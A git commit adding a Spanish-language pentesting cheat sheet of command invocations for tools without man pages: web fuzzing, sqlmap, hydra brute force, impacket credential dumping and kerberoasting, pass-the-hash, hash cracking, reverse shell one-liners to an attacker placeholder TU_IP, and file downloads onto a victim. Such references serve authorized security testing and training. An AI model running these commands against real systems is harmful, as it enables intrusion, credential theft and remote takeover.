conocimiento: cheatsheet de comandos de herramientas sin man page
Referencia densa de invocaciones de ffuf, sqlmap, impacket, crackmapexec, hydra, nuclei, evil-winrm, bloodhound-python y demas: las herramientas de pentesting que no traen man page y que por tanto el indexado de sistema no alcanza. Se indexa con el resto del pack (conocimiento/).
This commit is contained in:
sito
parent
7e06ce46cf
commit
1dfb3513e6
1 changed files with 144 additions and 0 deletions
|
|
@ -0,0 +1,144 @@
|
|||
# Comandos de herramientas de pentesting
|
||||
|
||||
Referencia densa de las invocaciones mas usadas de las herramientas que NO traen
|
||||
man page. Marcadores: `IP` objetivo, `TU_IP` atacante, `DOM` dominio, `USER`,
|
||||
`PASS`, `HASH` (NTLM), `URL`, `WL` wordlist.
|
||||
|
||||
## Descubrimiento de contenido web
|
||||
|
||||
```bash
|
||||
# ffuf
|
||||
ffuf -u http://IP/FUZZ -w WL -mc 200,301,302,401,403 -e .php,.txt,.html
|
||||
ffuf -u http://IP/ -w WL -H "Host: FUZZ.dominio.com" -fs 4242 # vhost
|
||||
ffuf -u "http://IP/page?FUZZ=1" -w WL -fw 42 # parametros
|
||||
ffuf -u http://IP/api/FUZZ -w WL -mc all -fc 404 -recursion
|
||||
|
||||
# feroxbuster
|
||||
feroxbuster -u http://IP -w WL -x php,txt,html -d 2 -t 50
|
||||
feroxbuster -u http://IP --filter-status 404 --extract-links
|
||||
|
||||
# gobuster
|
||||
gobuster dir -u http://IP -w WL -x php,txt -t 40 -b 404
|
||||
gobuster dns -d dominio.com -w WL
|
||||
gobuster vhost -u http://IP -w WL --append-domain
|
||||
```
|
||||
|
||||
## Inyeccion SQL automatica (sqlmap)
|
||||
|
||||
```bash
|
||||
sqlmap -u "http://IP/page?id=1" --batch --dbs
|
||||
sqlmap -u "http://IP/page?id=1" -D basedatos --tables
|
||||
sqlmap -u "http://IP/page?id=1" -D basedatos -T users --dump
|
||||
sqlmap -r peticion.txt --batch --level 5 --risk 3 # peticion de Burp
|
||||
sqlmap -u URL --os-shell # a shell
|
||||
sqlmap -u URL --data "user=1&pass=1" -p user # POST
|
||||
```
|
||||
|
||||
## Escaneo de vulnerabilidades (nuclei)
|
||||
|
||||
```bash
|
||||
nuclei -u http://IP
|
||||
nuclei -l objetivos.txt -severity critical,high
|
||||
nuclei -u http://IP -t cves/ -t exposures/
|
||||
nuclei -u http://IP -tags sqli,xss,lfi
|
||||
```
|
||||
|
||||
## Fuerza bruta de credenciales (hydra)
|
||||
|
||||
```bash
|
||||
hydra -l USER -P WL ssh://IP
|
||||
hydra -L users.txt -P WL IP ssh -t 4
|
||||
hydra -l USER -P WL IP http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"
|
||||
hydra -l USER -P WL ftp://IP
|
||||
hydra -L users.txt -p PASS smb://IP # spraying
|
||||
```
|
||||
|
||||
## Active Directory y Windows (impacket, netexec, evil-winrm)
|
||||
|
||||
```bash
|
||||
# CrackMapExec / NetExec — el navaja suiza de AD
|
||||
crackmapexec smb IP -u USER -p PASS --shares
|
||||
crackmapexec smb 10.0.0.0/24 -u USER -p PASS # barrido/spray
|
||||
crackmapexec smb IP -u USER -H HASH --sam # pass-the-hash + dump SAM
|
||||
crackmapexec winrm IP -u USER -p PASS -x "whoami"
|
||||
netexec smb IP -u USER -p PASS --users --groups
|
||||
|
||||
# Impacket
|
||||
impacket-secretsdump DOM/USER:PASS@IP # dump de hashes
|
||||
impacket-secretsdump -just-dc DOM/USER@IP -hashes :HASH # DCSync (con priv)
|
||||
impacket-GetUserSPNs DOM/USER:PASS -dc-ip IP -request # kerberoasting
|
||||
impacket-GetNPUsers DOM/ -usersfile users.txt -no-pass # AS-REP roasting
|
||||
impacket-getTGT DOM/USER:PASS # pedir TGT (Pass-the-Ticket)
|
||||
impacket-psexec DOM/USER:PASS@IP # shell SYSTEM
|
||||
impacket-wmiexec DOM/USER:PASS@IP # shell sin tocar disco
|
||||
impacket-smbexec DOM/USER@IP -hashes :HASH
|
||||
impacket-mssqlclient DOM/USER:PASS@IP -windows-auth
|
||||
|
||||
# BloodHound (recoleccion)
|
||||
bloodhound-python -d DOM -u USER -p PASS -ns IP -c all
|
||||
# despues: neo4j console; y cargar el zip en BloodHound
|
||||
|
||||
# Evil-WinRM (shell interactiva Windows)
|
||||
evil-winrm -i IP -u USER -p PASS
|
||||
evil-winrm -i IP -u USER -H HASH # pass-the-hash
|
||||
```
|
||||
|
||||
## Cracking de contraseñas (john, hashcat)
|
||||
|
||||
```bash
|
||||
# John
|
||||
john --wordlist=WL hashes.txt
|
||||
john --wordlist=WL --format=NT hashes.txt
|
||||
zip2john fichero.zip > hash; john hash
|
||||
ssh2john id_rsa > hash; john --wordlist=WL hash
|
||||
|
||||
# Hashcat (modo -m)
|
||||
hashcat -m 1000 hashes.txt WL # NTLM
|
||||
hashcat -m 0 hashes.txt WL # MD5
|
||||
hashcat -m 100 hashes.txt WL # SHA1
|
||||
hashcat -m 1800 hashes.txt WL # sha512crypt (/etc/shadow $6$)
|
||||
hashcat -m 13100 hashes.txt WL # Kerberoast (TGS)
|
||||
hashcat -m 18200 hashes.txt WL # AS-REP
|
||||
hashcat -m 5600 hashes.txt WL # NetNTLMv2 (Responder)
|
||||
hashcat -m 22000 hash.hc22000 WL # WPA/WPA2
|
||||
```
|
||||
|
||||
## Recon de red (nmap, comun)
|
||||
|
||||
```bash
|
||||
nmap -sn 10.0.0.0/24 # hosts vivos
|
||||
nmap -p- --min-rate 5000 IP # todos los puertos, rapido
|
||||
nmap -sV -sC -p 22,80,443 IP # version + scripts
|
||||
nmap -sU --top-ports 20 IP # UDP
|
||||
nmap --script vuln IP
|
||||
```
|
||||
|
||||
## Shells reversas y estabilizacion
|
||||
|
||||
```bash
|
||||
# Escucha
|
||||
nc -lvnp 4444
|
||||
rlwrap nc -lvnp 4444 # con historial
|
||||
|
||||
# Disparo (Linux)
|
||||
bash -i >& /dev/tcp/TU_IP/4444 0>&1
|
||||
sh -i >& /dev/tcp/TU_IP/4444 0>&1
|
||||
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("TU_IP",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];pty.spawn("/bin/bash")'
|
||||
|
||||
# Estabilizar la TTY tras coger la shell
|
||||
python3 -c 'import pty;pty.spawn("/bin/bash")'
|
||||
# Ctrl-Z; en tu terminal: stty raw -echo; fg; luego: export TERM=xterm
|
||||
```
|
||||
|
||||
## Transferencia de ficheros
|
||||
|
||||
```bash
|
||||
# Servir desde el atacante
|
||||
python3 -m http.server 80
|
||||
impacket-smbserver share $(pwd) -smb2support # SMB
|
||||
# Recibir en la victima
|
||||
wget http://TU_IP/file -O /tmp/file
|
||||
curl http://TU_IP/file -o /tmp/file
|
||||
certutil -urlcache -f http://TU_IP/file file.exe # Windows
|
||||
powershell iwr http://TU_IP/file -OutFile file # Windows
|
||||
```
|
||||
Loading…
Add table
Add a link
Reference in a new issue